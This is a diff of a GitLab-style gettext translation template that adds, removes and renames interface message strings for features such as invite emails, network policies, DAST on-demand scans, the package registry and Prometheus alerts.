msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
